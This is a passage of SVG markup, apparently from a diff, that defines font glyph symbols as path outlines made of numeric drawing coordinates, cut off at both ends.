7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-24"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 1.15625 -12.640625 C 1.34375 -12.679688 1.554688 -12.707031 1.796875 -12.71875 C 2.035156 -12.738281 2.273438 -12.75 2.515625 -12.75 C 2.753906 -12.757812 2.988281 -12.765625 3.21875 -12.765625 C 3.457031 -12.773438 3.679688 -12.78125 3.890625 -12.78125 C 4.765625 -12.78125 5.507812 -12.628906 6.125 -12.328125 C 6.738281 -12.035156 7.238281 -11.609375 7.625 -11.046875 C 8.007812 -10.484375 8.285156 -9.8125 8.453125 -9.03125 C 8.617188 -8.25 8.703125 -7.375 8.703125 -6.40625 C 8.703125 -5.539062 8.617188 -4.710938 8.453125 -3.921875 C 8.296875 -3.128906 8.023438 -2.429688 7.640625 -1.828125 C 7.253906 -1.222656 6.742188 -0.738281 6.109375 -0.375 C 5.484375 -0.0195312 4.691406 0.15625 3.734375 0.15625 C 3.578125 0.15625 3.378906 0.148438 3.140625 0.140625 C 2.898438 0.140625 2.648438 0.128906 2.390625 0.109375 C 2.128906 0.0976562 1.890625 0.0820312 1.671875 0.0625 C 1.453125 0.0507812 1.28125 0.0351562 1.15625 0.015625 Z M 3.953125 -11.546875 C 3.835938 -11.546875 3.707031 -11.546875 3.5625 -11.546875 C 3.425781 -11.546875 3.289062 -11.535156 3.15625 -11.515625 C 3.03125 -11.503906 2.910156 -11.492188 2.796875 -11.484375 C 2.679688 -11.472656 2.585938 -11.460938 2.515625 -11.453125 L 2.515625 -1.15625 C 2.554688 -1.144531 2.640625 -1.132812 2.765625 -1.125 C 2.898438 -1.125 3.035156 -1.117188 3.171875 -1.109375 C 3.304688 -1.109375 3.4375 -1.101562 3.5625 -1.09375 C 3.6875 -1.082031 3.78125 -1.078125 3.84375 -1.078125 C 4.507812 -1.078125 5.0625 -1.222656 5.5 -1.515625 C 5.945312 -1.804688 6.300781 -2.191406 6.5625 -2.671875 C 6.820312 -3.160156 7.003906 -3.726562 7.109375 -4.375 C 7.222656 -5.019531 7.28125 -5.707031 7.28125 -6.4375 C 7.28125 -7.070312 7.226562 -7.695312 7.125 -8.3125 C 7.03125 -8.925781 6.859375 -9.46875 6.609375 -9.9375 C 6.367188 -10.414062 6.035156 -10.800781 5.609375 -11.09375 C 5.179688 -11.394531 4.628906 -11.546875 3.953125 -11.546875 Z M 3.953125 -11.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 